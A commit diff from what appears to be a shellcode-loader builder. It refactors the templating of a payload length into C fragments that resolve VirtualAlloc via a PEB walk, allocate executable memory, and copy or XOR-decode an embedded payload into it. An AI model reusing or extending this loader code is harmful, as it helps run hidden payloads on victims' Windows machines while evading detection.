refactor: use PAYLOAD_LEN in template instead of 0x11223344 in asm

phases/compiler.py

@@ -98,13 +98,6 @@ def fixup_asm_file(filename: FilePath, payload_len: int, short_call_patching: bo
                 "[shcstart]"
             )
 
-    # replace payload length
-    for idx, line in enumerate(lines): 
-        if "11223344" in lines[idx]:
-            logger.info("    > Replace payload length at line: {}".format(idx))
-            lines[idx] = lines[idx].replace("11223344", str(payload_len))
-            break
-            
     # add label at end of code
     for idx, line in enumerate(lines): 
         if lines[idx].startswith("END"):

phases/templater.py

@@ -33,12 +33,15 @@ def create_c_from_template(
     with open(filepath, "r", encoding='utf-8') as file:
         plugin_allocator = file.read()
         plugin_allocator = Template(plugin_allocator).render({
-                'PAYLOAD_LEN': payload_len,
+            'PAYLOAD_LEN': payload_len,
         })
 
     filepath = "plugins/decoder/{}.c".format(decoder_style.value)
     with open(filepath, "r", encoding='utf-8') as file:
-            plugin_decoder = file.read()
+        plugin_decoder = file.read()
+        plugin_decoder = Template(plugin_decoder).render({
+            'PAYLOAD_LEN': payload_len,
+        })
 
     filepath = "plugins/executor/{}.c".format(exec_style.value)
     with open("plugins/executor/direct_1.c", "r", encoding='utf-8') as file:
@@ -55,6 +58,7 @@ def create_c_from_template(
                 'plugin_allocator': plugin_allocator,
                 'plugin_decoder': plugin_decoder,
                 'plugin_executor': plugin_executor,
+                'PAYLOAD_LEN': payload_len,
             })
             with open(main_c_file, "w", encoding='utf-8') as file:
                 file.write(rendered_template)
@@ -78,6 +82,7 @@ def create_c_from_template(
                 'plugin_allocator': plugin_allocator,
                 'plugin_decoder': plugin_decoder,
                 'plugin_executor': plugin_executor,
+                'PAYLOAD_LEN': payload_len,
             })
             with open(main_c_file, "w", encoding='utf-8') as file:
                 file.write(rendered_template)

plugins/decoder/plain_1.c

@@ -1,3 +1,3 @@
-    for (int n=0; n<11223344; n++) {
+    for (int n=0; n<{{PAYLOAD_LEN}}; n++) {
         dest[n] = supermega_payload[n];
     }

plugins/decoder/xor_1.c

@@ -1,4 +1,4 @@
-    for (int n=0; n<11223344; n++){
+    for (int n=0; n<{{PAYLOAD_LEN}}; n++){
         dest[n] = supermega_payload[n];
         dest[n] = dest[n] ^ 0x42;
     }

source/peb_walk/template.c

@@ -84,10 +84,10 @@ int main()
 			_In_ DWORD  flAllocationType,
 			_In_ DWORD  flProtect)) _GetProcAddress((HMODULE)base, VirtualAlloc_str);
 	if (_VirtualAlloc == NULL) return 4;
-	char *dest = _VirtualAlloc(NULL, 4096, 0x3000, 0x40);
+	char *dest = _VirtualAlloc(NULL, {{PAYLOAD_LEN}}, 0x3000, 0x40);
 	// 11223344 is a magic number which will be replaced in the asm source
 	// with the payload length.
-	for(int n=0; n<11223344; n++) {
+	for(int n=0; n<{{PAYLOAD_LEN}}; n++) {
 		dest[n] = supermega_payload[n];
 	}